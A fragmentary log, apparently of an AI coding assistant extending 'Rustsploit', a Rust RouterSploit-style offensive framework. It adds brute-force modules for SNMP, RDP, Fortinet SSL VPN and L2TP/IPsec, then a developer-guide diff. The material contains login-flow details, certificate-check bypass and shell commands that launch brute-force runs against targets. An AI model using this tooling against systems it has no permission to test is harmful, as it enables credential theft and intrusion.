The break only exited the inner for loop, not the outer loop.
|
||||
Even with a flag, the compiler couldn't track that it would be set inside nested match/for structures.
|
||||
The code after the loop was considered unreachable.
|
||||
|
||||
Solution
|
||||
Used a labeled break:
|
||||
Added a label 'main_loop: to the outer loop (line 39).
|
||||
Changed the exit command to use break 'main_loop; (line 78), which breaks directly out of the labeled loop.
|
||||
This makes the exit path explicit and provable, so the code after the loop is reachable.
|
||||
Control flow now:
|
||||
Main loop starts with label 'main_loop.
|
||||
User enters commands (can be chained with &).
|
||||
When "exit" is entered, break 'main_loop; exits the outer loop directly.
|
||||
Execution reaches Ok(()) after the loop.
|
||||
This is the idiomatic Rust approach for breaking out of nested loops and resolves the unreachable code warning. The code should compile without warnings.
|
||||
add back command with shortcuts
|
||||
|
||||
Adding a "back" command with shortcuts. Checking the current command structure:
|
||||
Adding a "back" command with shortcuts to clear the current module and target:
|
||||
|
||||
|
||||
Changes Made:
|
||||
|
||||
Added the "back" command handler (lines 80-84):
|
||||
Clears the current module selection
|
||||
Clears the current target
|
||||
Shows a confirmation message
|
||||
Added shortcuts in resolve_command (line 353):
|
||||
back - full command
|
||||
b - short shortcut
|
||||
clear - alternative name
|
||||
reset - alternative name
|
||||
Added to help menu (line 416):
|
||||
Listed with its shortcuts and description
|
||||
Usage:
|
||||
You can now use any of these to clear the current module and target:
|
||||
|
||||
|
||||
All compilation errors are fixed. Summary of changes:
|
||||
SNMP packet encoding: Rewrote to use proper BER TLV (Type-Length-Value) encoding
|
||||
Error handling: EAGAIN/EWOULDBLOCK errors are treated as timeouts (invalid community strings)
|
||||
Type inference: Fixed async function return types
|
||||
The module should compile and run. The SNMP packet encoding now follows the BER format, and socket errors are handled correctly.
|
||||
|
||||
Try running it again. The module should:
|
||||
|
||||
Build SNMP GET requests correctly
|
||||
Handle timeouts and socket errors gracefully
|
||||
Detect valid community strings when SNMP responses are received
|
||||
If you encounter any runtime issues, share the details and I can help debug.
|
||||
it should ask for username and passoword and add error handling input validaitpon and all porper safetys. also can you add a new feature where i can combine multaible commands to execute in a row like use module & set target & run in this format it should work usable in modules 2 without chanign modules.
|
||||
|
||||
Fixing the SNMP module with proper input validation and error handling, then adding command chaining. Starting with the SNMP module:
|
||||
Reviewing the shell implementation to understand command parsing:
|
||||
Improving the SNMP module with better input validation, then adding command chaining:
|
||||
Improving the SNMP module with better validation, then adding command chaining:
|
||||
|
||||
Fixing the syntax error and the warning:
|
||||
|
||||
Checking the exact issue:
|
||||
Checking the end of the file:
|
||||
Checking brace balance in the interactive_shell function:
|
||||
Removing the redundant exit check since exit already returns:
|
||||
|
||||
Checking the file structure around line 561:
|
||||
|
||||
|
||||
|
||||
Summary
|
||||
1. Improved SNMP module input validation
|
||||
Port validation: checks range 1-65535 with clear error messages
|
||||
File validation: verifies file exists, is a regular file, and is readable before proceeding
|
||||
Concurrency validation: limits 1-10000 with clear error messages
|
||||
Timeout validation: limits 1-300 seconds with clear error messages
|
||||
All prompts include error handling and retry loops
|
||||
2. Command chaining support
|
||||
Added support for chaining commands with & separator
|
||||
Example: use creds/generic/snmp_bruteforce & set target 192.168.1.1 & run
|
||||
Commands execute sequentially in the same context
|
||||
Works across all modules without changing module context
|
||||
The exit command properly exits even when chained
|
||||
|
||||
|
||||
Usage Examples:
|
||||
# Chain multiple commandsrsf> use creds/generic/snmp_bruteforce & set target 192.168.1.1 & run# Works with any commandsrsf> use exploits/some_exploit & set target 10.0.0.1 & run# Can chain any commandsrsf> modules & find snmp & use creds/generic/snmp_bruteforce
|
||||
|
||||
The SNMP module now has:
|
||||
Better input validation with clear error messages
|
||||
File existence and readability checks
|
||||
Range validation for all numeric inputs
|
||||
Proper error handling throughout
|
||||
|
||||
|
||||
RDP Bruteforce Module Improvements
|
||||
1. Improved concurrency handling
|
||||
Switched from Vec<JoinHandle> to FuturesUnordered for better task management
|
||||
Matches the pattern used in other modules (FTP, SNMP)
|
||||
More efficient task scheduling and completion handling
|
||||
2. Better stop signal management
|
||||
Replaced Mutex<bool> with AtomicBool for the stop signal
|
||||
Lock-free, more efficient for frequent reads
|
||||
Uses Ordering::Relaxed for performance
|
||||
3. Enhanced timeout handling
|
||||
Added configurable connection timeout (1-300 seconds, default 10)
|
||||
Uses tokio::time::timeout to enforce timeouts
|
||||
Kills hung processes on timeout
|
||||
4. Input validation
|
||||
Validates file paths before use
|
||||
Checks file existence and readability
|
||||
Clear error messages for invalid inputs
|
||||
Port validation (1-65535)
|
||||
Concurrency limits (1-10000)
|
||||
5. Better error handling
|
||||
Fallback to rdesktop if xfreerdp is unavailable
|
||||
Clear error messages when tools are missing
|
||||
Improved process error handling
|
||||
Better timeout error handling
|
||||
6. User experience improvements
|
||||
Shows loaded username/password counts
|
||||
Displays configured timeout
|
||||
Consistent formatting with other modules
|
||||
Better progress feedback
|
||||
7. Code quality
|
||||
Consistent with other bruteforce modules
|
||||
Proper async/await patterns
|
||||
Better resource management (semaphore permits)
|
||||
Cleaner code structure
|
||||
8. RDP-specific improvements
|
||||
Uses /sec:nla for Network Level Authentication
|
||||
Better authentication detection
|
||||
Proper process cleanup on timeout
|
||||
|
||||
|
||||
### Summary: Fortinet SSL VPN Bruteforce Module
|
||||
|
||||
Created a Fortinet SSL VPN bruteforce module based on openfortivpn's authentication flow.
|
||||
|
||||
Features
|
||||
HTTP/HTTPS authentication
|
||||
Uses reqwest for HTTP requests
|
||||
Supports HTTPS with certificate validation bypass (for testing)
|
||||
Handles Fortinet's /remote/logincheck endpoint
|
||||
Session management
|
||||
Cookie store enabled for session cookies
|
||||
CSRF token extraction from login page
|
||||
Handles redirects and session cookies
|
||||
Authentication detection
|
||||
Multiple success indicators:
|
||||
Response body contains "redir", "1", "success", "/remote/index", "portal"
|
||||
HTTP 302 redirects to success pages
|
||||
Session cookies with names like "session", "svpn", "fortinet"
|
||||
Failure detection: "error", "invalid", "failed", "incorrect", "0"
|
||||
Concurrency and performance
|
||||
Uses FuturesUnordered for task management
|
||||
Configurable concurrency (1-10000)
|
||||
Configurable timeout (1-300 seconds)
|
||||
AtomicBool for stop signal
|
||||
User experience
|
||||
Input validation for file paths and ports
|
||||
Progress feedback (username/password counts)
|
||||
Verbose mode for debugging
|
||||
Results saved to file
|
||||
Combination mode (every password with every user)
|
||||
Code quality
|
||||
Consistent with other bruteforce modules
|
||||
Proper error handling
|
||||
Timeout handling
|
||||
Clean code structure
|
||||
|
||||
Improving the implementation to handle all openfortivpn features, including trusted-cert (TC) support, better IPv6 handling, and improved authentication:
|
||||
|
||||
|
||||
Enhanced Fortinet SSL VPN Bruteforce Module
|
||||
Features implemented (aligned with openfortivpn)
|
||||
IP address handling
|
||||
IPv4 support (e.g., 192.168.1.1)
|
||||
IPv6 support with proper bracketing (e.g., [2001:db8::1])
|
||||
Hostname support
|
||||
URL construction via build_fortinet_url()
|
||||
Port configuration
|
||||
Configurable port (default: 443)
|
||||
Validation (1-65535)
|
||||
Proper URL formatting with port
|
||||
Username and password
|
||||
Wordlist-based bruteforce
|
||||
Combination mode (every password with every user)
|
||||
Sequential mode (cycling through users)
|
||||
Trusted certificate (TC) support
|
||||
Optional SHA256 certificate hash input
|
||||
Certificate validation toggle
|
||||
Certificate pinning support (structure in place)
|
||||
Authentication realm
|
||||
Optional realm parameter
|
||||
Multi-realm authentication support
|
||||
Included in POST data when provided
|
||||
Additional features
|
||||
CSRF token extraction from login page
|
||||
Cookie-based session management
|
||||
Multiple success/failure detection methods
|
||||
Proper timeout handling
|
||||
Concurrency control
|
||||
Results saving to file
|
||||
Implementation details
|
||||
URL construction: Handles IPv4, IPv6, and hostnames correctly
|
||||
Certificate handling: Supports trusted-cert (TC) for certificate pinning
|
||||
Realm support: Optional authentication realm parameter
|
||||
Response parsing: Multiple methods to detect successful authentication
|
||||
Error handling: Timeouts and network errors handled
|
||||
|
||||
|
||||
### L2TP/IPsec VPN Bruteforce Module
|
||||
|
||||
Created an L2TP/IPsec VPN bruteforce module. Summary:
|
||||
Features implemented
|
||||
L2TP/IPsec authentication support
|
||||
|
||||
Two-phase authentication:
|
||||
|
||||
IPsec phase: machine authentication with optional PSK (pre-shared key)
|
||||
L2TP phase: user authentication with username/password
|
||||
Supports multiple L2TP client tools:
|
||||
strongswan (ipsec)
|
||||
xl2tpd
|
||||
|
||||
pppd with L2TP plugin (Linux)
|
||||
Configuration options
|
||||
Configurable port (default: 500 for IKE)
|
||||
Optional PSK for IPsec authentication
|
||||
Username/password wordlists
|
||||
IPv4/IPv6 support with proper address normalization
|
||||
Bruteforce capabilities
|
||||
Combination mode (every password with every user)
|
||||
Sequential mode (cycling through users)
|
||||
Configurable concurrency
|
||||
Timeout handling
|
||||
Stop on first success option
|
||||
Framework structure
|
||||
Follows the same patterns as other bruteforce modules
|
||||
Proper error handling
|
||||
Results saving to file
|
||||
Verbose mode support
|
||||
Implementation notes
|
||||
L2TP/IPsec authentication is complex and requires:
|
||||
Root privileges for IPsec operations
|
||||
System configuration files (/etc/ipsec.conf, /etc/ipsec.secrets, etc.)
|
||||
Proper IPsec tunnel establishment before L2TP authentication
|
||||
|
||||
The current implementation provides:
|
||||
|
||||
Framework and structure for L2TP bruteforcing
|
||||
Detection of available L2TP client tools
|
||||
Basic connection testing
|
||||
Full parameter support (IPs, ports, usernames, passwords, PSK)
|
||||
For a production implementation, you would need to:
|
||||
Create temporary configuration files dynamically
|
||||
Use proper ipsec commands to establish IPsec tunnels
|
||||
Use xl2tpd or pppd commands to establish L2TP tunnels
|
||||
Parse connection status and authentication responses
|
||||
The module is registered in mod.rs and ready to use. It will automatically be picked up by the build system.
|
||||
wire everything toghter and make it fully working with the framework
|
||||
|
||||
Verifying the L2TP bruteforce module is integrated with the framework and fully functional. Checking integration points and fixing any issues.
|
||||
Improving the L2TP implementation to be more functional and ensuring it integrates with the framework. Enhancing the connection logic:
|
||||
|
||||
|
||||
Features implemented
|
||||
L2TP/IPsec authentication
|
||||
IPsec phase: machine authentication with optional PSK
|
||||
L2TP phase: user authentication with username/password
|
||||
Multiple client tool support:
|
||||
strongswan (ipsec)
|
||||
xl2tpd
|
||||
pppd with L2TP plugin (Linux)
|
||||
Configuration management
|
||||
Dynamic temporary config file creation
|
||||
IPsec config generation for strongswan
|
||||
xl2tpd config generation
|
||||
PPP secrets file generation
|
||||
Automatic cleanup of temporary files
|
||||
Bruteforce capabilities
|
||||
Username/password wordlist support
|
||||
Optional PSK configuration
|
||||
Combination mode (every password with every user)
|
||||
Sequential mode (cycling through users)
|
||||
Configurable concurrency (1-10000)
|
||||
Timeout handling (1-300 seconds)
|
||||
Stop on first success option
|
||||
Framework integration
|
||||
Follows framework patterns (same as RDP, SSH, etc.)
|
||||
Proper error handling and timeout management
|
||||
Results saving to file
|
||||
Verbose mode support
|
||||
IPv4/IPv6 address normalization
|
||||
Port configuration (default: 500 for IKE)
|
||||
Technical implementation
|
||||
Temporary file management: creates and cleans up config files
|
||||
Tool detection: automatically detects available L2TP client tools
|
||||
Fallback mechanism: tries multiple tools in order
|
||||
Process management: proper timeout and cleanup handling
|
||||
Security: sets proper file permissions (600) for secrets files
|
||||
|
||||
|
||||
Enhanced utils.rs with Security and Validation
|
||||
Security improvements
|
||||
Input validation and sanitization
|
||||
Length limits to prevent DoS:
|
||||
MAX_TARGET_LENGTH: 2048 characters
|
||||
MAX_MODULE_PATH_LENGTH: 512 characters
|
||||
MAX_FILE_SIZE: 10MB
|
||||
Control character filtering
|
||||
Whitespace normalization
|
||||
Invalid character detection
|
||||
Path traversal prevention
|
||||
Blocks .. in file paths
|
||||
Validates paths are within expected directories
|
||||
Uses canonicalize() for path resolution
|
||||
Checks for symlinks (skipped for security)
|
||||
Resource limits
|
||||
MAX_PROXIES: 100,000 proxies max
|
||||
MAX_PARALLEL_PROXIES: 1,000 concurrent tests
|
||||
MAX_PROXY_TIMEOUT_SECS: 300 seconds (5 minutes)
|
||||
File size limits to prevent memory exhaustion
|
||||
Enhanced functions
|
||||
normalize_target()
|
||||
Input length validation
|
||||
Control character removal
|
||||
Path traversal detection
|
||||
IPv6 format validation with regex
|
||||
Hostname format validation
|
||||
Clearer error messages
|
||||
collect_module_paths()
|
||||
Depth limit enforcement
|
||||
Path traversal prevention
|
||||
Symlink detection and skipping
|
||||
Path length validation
|
||||
Error handling for unreadable directories
|
||||
load_proxies_from_file()
|
||||
Path traversal prevention
|
||||
File size validation before reading
|
||||
Line count limits
|
||||
Content truncation for long lines
|
||||
Better error reporting with line numbers
|
||||
normalize_proxy_candidate()
|
||||
Enhanced URL validation
|
||||
Hostname format validation
|
||||
Port range validation
|
||||
Hostname length checks (max 253 chars)
|
||||
Input sanitization
|
||||
validate_proxy_url()
|
||||
Scheme validation
|
||||
Hostname format and length validation
|
||||
Port validation (1-65535)
|
||||
DNS hostname format checks
|
||||
test_proxies()
|
||||
Input validation for all parameters
|
||||
Resource limit enforcement
|
||||
URL format validation
|
||||
Better error handling
|
||||
check_proxy()
|
||||
Input validation
|
||||
URL format validation
|
||||
Enhanced error context
|
||||
Additional improvements
|
||||
Better error messages with context
|
||||
Consistent error handling patterns
|
||||
Documentation comments
|
||||
Type safety improvements
|
||||
Resource cleanup and bounds checking
|
||||
|
||||
|
||||
|
||||
Key Bug Fixes:
|
||||
|
||||
Fixed receiver cloning issue - The main bug. Workers now use Arc<Mutex<Receiver>> to properly share the channel receiver
|
||||
Fixed raw password generation - The odometer logic now uses proper carry detection to avoid infinite loops and correctly exhaust all combinations
|
||||
Made save_results async - Converted to async to match the rest of the codebase
|
||||
Removed unused functions - Cleaned up save_results_blocking and prompt_threads_default duplicates
|
||||
|
||||
|
||||
Safety Improvements:
|
||||
|
||||
Command Chain Limit: Added MAX_COMMAND_CHAIN_LENGTH constant to prevent DoS via excessive command chaining
|
||||
Fixed unwrap() panics:
|
||||
In pick_random_untried_proxy(): Changed .unwrap() to proper fallback handling
|
||||
Added null checks before unwrapping
|
||||
Proper error handling: All prompt functions now have their errors properly handled instead of using ? which could crash the shell
|
||||
Target sanitization relaxed: Removed whitespace restriction (targets can be URLs with spaces in query params), kept control character blocking for security
|
||||
Module path sanitization: Added - to allowed characters (common in module names)
|
||||
Validation on prompt_u64: Added check to ensure value is greater than 0
|
||||
Safer proxy selection: Added fallback logic in case the proxy list becomes empty during selection
|
||||
Memory safety: All existing size limits maintained (MAX_INPUT_LENGTH, MAX_PROXY_LIST_SIZE, MAX_TARGET_LENGTH)
|
||||
|
||||
API Key Validation: Added check to ensure API key is not empty/whitespace-only
|
||||
Bind Address Validation: Created parse_and_validate_bind_address() function that:
|
||||
|
||||
Properly parses IP addresses using std::net::IpAddr
|
||||
Validates socket addresses using std::net::SocketAddr
|
||||
Prevents binding to port 0
|
||||
Rejects invalid IP addresses (like "256.0.0.1")
|
||||
Rejects malformed addresses
|
||||
Provides clear error messages
|
||||
|
||||
|
||||
IP Limit Validation:
|
||||
|
||||
Ensures ip_limit is greater than 0
|
||||
Adds upper bound check (max 10000) to prevent resource exhaustion
|
||||
|
||||
|
||||
Better Error Messages: All validation errors now include descriptive context about what went wrong and expected formats
|
||||
|
||||
Fixed unwrap() bug in try_rdp_login: Changed from .unwrap() to proper conditional checking to avoid panics when checking if xfreerdp/rdesktop is available
|
||||
Line-by-line reading for combo mode: Instead of loading all passwords into memory, the code now reads the password file line-by-line for each user, greatly reducing memory usage for large wordlists
|
||||
Line-by-line reading for sequential mode: Password file is now read line-by-line using .enumerate() to track position for cycling through users
|
||||
Added count_lines() function: Efficiently counts lines without loading them into memory, used for displaying wordlist sizes
|
||||
Improved error handling: Better handling of file read errors with proper Result checks instead of relying on unwrap()
|
||||
Fixed task limiting: Properly drains tasks during iteration to prevent unbounded task accumulation
|
||||
+193
-281
@@ -1,341 +1,253 @@
|
||||
# 🛠️ Rustsploit Developer Guide
|
||||
|
||||
|
||||
# 🛠️ Developer Documentation: RouterSploit-Rust Framework
|
||||
|
||||
> This document details the internal architecture, auto-dispatch system, proxy retry logic, and step-by-step guide to writing modules for the Rust rewrite of RouterSploit.
|
||||
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
|
||||
|
||||
---
|
||||
|
||||
## 🧠 Framework Philosophy
|
||||
## Table of Contents
|
||||
|
||||
RouterSploit-Rust is a modular, async-capable, Rust-based rewrite of RouterSploit. Each module is standalone, invoked via:
|
||||
|
||||
- 📟 CLI (`cargo run -- --command ...`)
|
||||
- 🖥️ Shell (`rsf>` prompt)
|
||||
|
||||
Goals:
|
||||
- 🔒 Safe-by-default
|
||||
- 📦 Cleanly separated modules
|
||||
- ⚡ Async concurrency
|
||||
- 🌐 Proxy-aware execution
|
||||
1. [Project Overview](#project-overview)
|
||||
2. [Code Layout](#code-layout)
|
||||
3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)
|
||||
4. [Shell Architecture](#shell-architecture)
|
||||
5. [Proxy Subsystem](#proxy-subsystem)
|
||||
6. [Command-Line Interface](#command-line-interface)
|
||||
7. [Authoring Modules](#authoring-modules)
|
||||
8. [Credential Modules: Best Practices](#credential-modules-best-practices)
|
||||
9. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
|
||||
10. [Utilities & Helpers](#utilities--helpers)
|
||||
11. [Testing & QA](#testing--qa)
|
||||
12. [Roadmap & Ideas](#roadmap--ideas)
|
||||
|
||||
---
|
||||
|
||||
## 🗂️ Directory Structure
|
||||
## Project Overview
|
||||
|
||||
```
|
||||
routersploit_rust/
|
||||
Rustsploit is a Rust-first re-imagining of RouterSploit:
|
||||
|
||||
- Async-native (Tokio) for scalable brute forcing and network IO
|
||||
- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
|
||||
- Interactive shell + CLI runner referencing the same dispatch layer
|
||||
- Proxy-aware execution with run-time rotation, validation, and fallback logic
|
||||
- IPv4/IPv6-friendly: target normalization happens uniformly
|
||||
- Carefully colored, concise output designed for operators on remote consoles
|
||||
|
||||
---
|
||||
|
||||
## Code Layout
|
||||
|
||||
```text
|
||||
rustsploit/
|
||||
├── Cargo.toml
|
||||
├── build.rs
|
||||
└── src/
|
||||
├── main.rs # Entrypoint
|
||||
├── cli.rs # CLI argument parser
|
||||
├── shell.rs # Interactive shell logic
|
||||
├── commands/ # Module dispatch logic
|
||||
│ ├── mod.rs
|
||||
│ ├── scanner.rs
|
||||
│ ├── scanner_gen.rs
|
||||
│ ├── exploit.rs
|
||||
│ ├── exploit_gen.rs
|
||||
│ ├── creds_gen.rs
|
||||
│ └── creds.rs
|
||||
├── modules/ # All attack modules
|
||||
│ ├── mod.rs
|
||||
│ ├── exploits/
|
||||
│ ├── scanners/
|
||||
│ └── creds/
|
||||
└── utils.rs # Common utilities
|
||||
├── build.rs # Generates dispatcher code by scanning src/modules
|
||||
├── src/
|
||||
│ ├── main.rs # Entry point, selects CLI or shell mode
|
||||
│ ├── cli.rs # Clap-based CLI parser and dispatcher
|
||||
│ ├── shell.rs # Interactive shell loop + UX helpers
|
||||
│ ├── commands/ # Dispatch glue for exploits/scanners/creds
|
||||
│ │ ├── mod.rs
|
||||
│ │ ├── exploit.rs
|
||||
│ │ ├── exploit_gen.rs # build.rs output
|
||||
│ │ ├── scanner.rs
|
||||
│ │ ├── scanner_gen.rs # build.rs output
|
||||
│ │ ├── creds.rs
|
||||
│ │ └── creds_gen.rs # build.rs output
|
||||
│ ├── modules/ # Fully auto-discovered attack modules
|
||||
│ │ ├── exploits/
|
||||
│ │ ├── scanners/
|
||||
│ │ └── creds/
|
||||
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, etc.)
|
||||
├── docs/
|
||||
│ └── readme.md # This document
|
||||
├── lists/
|
||||
│ ├── readme.md # Wordlist + data file catalogue
|
||||
│ ├── rtsp-paths.txt
|
||||
│ └── rtsphead.txt
|
||||
└── README.md # Product overview
|
||||
```
|
||||
|
||||
Key takeaway: modules are just Rust files under `src/modules/**`. Add `pub mod my_module;` in the local `mod.rs`, and the build script handles the rest.
|
||||
|
||||
---
|
||||
|
||||
## 🔗 Module System
|
||||
## Build Pipeline & Module Discovery
|
||||
|
||||
Each module is a Rust file with a required `run()` entry point:
|
||||
1. **`build.rs` scan:** Before compilation, build.rs walks `src/modules` (depth-limited) looking for `.rs` files that are not `mod.rs`.
|
||||
2. **Signature detection:** If a file exposes `pub async fn run(`, it is treated as a callable module.
|
||||
3. **Name generation:** Both a *short name* (`ssh_bruteforce`) and *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
|
||||
4. **Dispatcher emission:** Three files (`exploit_gen.rs`, `scanner_gen.rs`, `creds_gen.rs`) are emitted with exhaustive `match` statements that map names → `use crate::modules::...::run`.
|
||||
5. **Shell + CLI usage:** When users invoke `use exploits/foo` or `--module foo`, the dispatcher resolves the actual function.
|
||||
|
||||
```rust
|
||||
pub async fn run(target: &str) -> anyhow::Result<()>
|
||||
```
|
||||
|
||||
### Optional:
|
||||
|
||||
```rust
|
||||
pub async fn run_interactive(target: &str) -> anyhow::Result<()> {
|
||||
// internal prompts or logic
|
||||
}
|
||||
```
|
||||
|
||||
### Placement:
|
||||
|
||||
- Exploits: `src/modules/exploits/`
|
||||
- Scanners: `src/modules/scanners/`
|
||||
- Credentials: `src/modules/creds/`
|
||||
|
||||
Subfolders are supported:
|
||||
- `exploits/routers/tplink.rs` → `tplink` or `routers/tplink`
|
||||
- `scanners/http/title.rs` → `title` or `http/title`
|
||||
Because the dispatcher is generated at build time, there is no manual registry drift as long as modules live in the right folder and export `run`.
|
||||
|
||||
---
|
||||
|
||||
## ✅ Adding a New Module
|
||||
## Shell Architecture
|
||||
|
||||
### 1. Create File
|
||||
The shell lives in `src/shell.rs`. Highlights:
|
||||
|
||||
- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
|
||||
- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
|
||||
- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
|
||||
- **Command palette:** `render_help()` prints a colorized table for quick reference.
|
||||
- **Proxy tests:** `proxy_test` command triggers async validation via utils.
|
||||
- **Run pipeline:** On `run`/`go`, the shell enforces:
|
||||
- Module selected
|
||||
- Target set
|
||||
- Proxy state respected (rotate until success or fallback direct)
|
||||
- Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
|
||||
- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
|
||||
|
||||
Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
|
||||
|
||||
---
|
||||
|
||||
## Proxy Subsystem
|
||||
|
||||
Implemented in `utils.rs` and surfaced in the shell.
|
||||
|
||||
- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
|
||||
- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
|
||||
- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
|
||||
- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
|
||||
- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
|
||||
|
||||
Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
|
||||
|
||||
---
|
||||
|
||||
## Command-Line Interface
|
||||
|
||||
`src/cli.rs` uses Clap to expose three commands:
|
||||
|
||||
- `--command exploit|scanner|creds`
|
||||
- `--module <name>` (short or qualified, same mapping as the shell)
|
||||
- `--target <host|IP>`
|
||||
|
||||
Example:
|
||||
|
||||
```bash
|
||||
cargo run -- --command exploit --module heartbleed --target 203.0.113.12
|
||||
```
|
||||
|
||||
If the module needs additional parameters, it can prompt interactively (e.g., brute-force modules ask for wordlists even in CLI mode). For automated pipelines, modules should provide sensible defaults or accept environment variables.
|
||||
|
||||
---
|
||||
|
||||
## Authoring Modules
|
||||
|
||||
Every module must export:
|
||||
|
||||
```rust
|
||||
// src/modules/scanners/ftp_weak_login.rs
|
||||
use anyhow::Result;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
println!("[*] Checking FTP on {}", target);
|
||||
// ...
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
### 2. Register in `mod.rs`
|
||||
Guidelines:
|
||||
|
||||
1. **Location:** choose one of `src/modules/{exploits,scanners,creds}`. Use subfolders for vendor families (e.g., `exploits/cisco/`).
|
||||
2. **`mod.rs`:** add `pub mod your_module;` in the sibling `mod.rs`. Without this, the build script ignores the file.
|
||||
3. **Async I/O:** prefer `reqwest`, `tokio::net`, `tokio::process`, etc. Synchronous blocking code should be wrapped with `tokio::task::spawn_blocking` where possible (see SSH module).
|
||||
4. **Logging:** leverage `colored` for clarity, but keep messages short and actionable. Use `[+]`, `[-]`, `[!]`, `[*]` prefixes consistently.
|
||||
5. **Error handling:** bubble up with context (`anyhow::Context`) so the shell/CLI surface meaningful errors.
|
||||
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
|
||||
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
|
||||
|
||||
### Example skeleton
|
||||
|
||||
```rust
|
||||
pub mod ftp_weak_login;
|
||||
use anyhow::{Context, Result};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Checking {}", target);
|
||||
|
||||
let url = format!("http://{}/status", target);
|
||||
let body = reqwest::get(&url)
|
||||
.await
|
||||
.with_context(|| format!("failed to reach {}", url))?
|
||||
.text()
|
||||
.await
|
||||
.context("failed to fetch body")?;
|
||||
|
||||
if body.contains("vulnerable") {
|
||||
println!("[+] {} appears vulnerable", target);
|
||||
} else {
|
||||
println!("[-] {} not vulnerable", target);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🧠 Auto-Dispatch System
|
||||
## Credential Modules: Best Practices
|
||||
|
||||
The CLI/shell can call:
|
||||
```bash
|
||||
cargo run -- --command scanner --module ftp_weak_login --target 192.168.1.1
|
||||
```
|
||||
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
|
||||
|
||||
Or in the shell:
|
||||
```
|
||||
rsf> use scanners/ftp_weak_login
|
||||
rsf> set target 192.168.1.1
|
||||
rsf> run
|
||||
```
|
||||
|
||||
Behind the scenes:
|
||||
|
||||
1. `build.rs` scans `src/modules/` recursively
|
||||
2. Detects files with `pub async fn run(...)`
|
||||
3. Generates:
|
||||
- `exploit_dispatch.rs`
|
||||
- `scanner_dispatch.rs`
|
||||
- `creds_dispatch.rs`
|
||||
4. Registers short + full names (e.g., `ftp_weak_login` + `scanners/ftp_weak_login`)
|
||||
- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
|
||||
- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
|
||||
- **Concurrency:**
|
||||
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH).
|
||||
- Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
|
||||
- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
|
||||
- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
|
||||
- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
|
||||
- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
|
||||
|
||||
---
|
||||
|
||||
## ❌ What Not To Do
|
||||
## Exploit Modules: Best Practices
|
||||
|
||||
- ❌ No `run()` → won’t dispatch
|
||||
- ❌ Don’t name multiple functions `run()` in one file
|
||||
- ❌ Don’t use `mod.rs` as a module — ignored by generator
|
||||
- ❌ Don’t forget to update `mod.rs` when adding modules
|
||||
- **CVE referencing:** mention CVE IDs and vendor/product in comments and output.
|
||||
- **Artifact handling:** If the exploit downloads or writes files (e.g., Heartbleed dump), store them in the current working directory or a named subfolder.
|
||||
- **Clean-up:** If credentials or accounts are added (Abus camera module), explain the impact and clean-up instructions in output or comments.
|
||||
- **Safety checks:** Validate responses before declaring success; false positives hurt credibility.
|
||||
- **Options:** Use `prompt_*` helpers (borrow from existing modules) if end-user input is needed (e.g., RTSP advanced headers, extra path lists).
|
||||
|
||||
---
|
||||
|
||||
## ⚙️ CLI Usage
|
||||
## Utilities & Helpers
|
||||
|
||||
```bash
|
||||
cargo run -- --command exploit --module my_exploit --target 10.0.0.1
|
||||
```
|
||||
`src/utils.rs` provides:
|
||||
|
||||
### Args:
|
||||
- `normalize_target`: wrap IPv6 addresses in brackets, pass through IPv4/hosts untouched.
|
||||
- `module_exists` / `list_all_modules` / `find_modules`: used by shell to present module inventory.
|
||||
- Proxy helpers described earlier (`load_proxies_from_file`, `test_proxies`, etc.).
|
||||
|
||||
- `--command`: exploit | scanner | creds
|
||||
- `--module`: file name of module
|
||||
- `--target`: IP or host
|
||||
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
|
||||
|
||||
---
|
||||
|
||||
## 🖥️ Shell Usage
|
||||
## Testing & QA
|
||||
|
||||
```bash
|
||||
cargo run
|
||||
```
|
||||
1. **Static checks:** `cargo fmt` and `cargo clippy` (where available).
|
||||
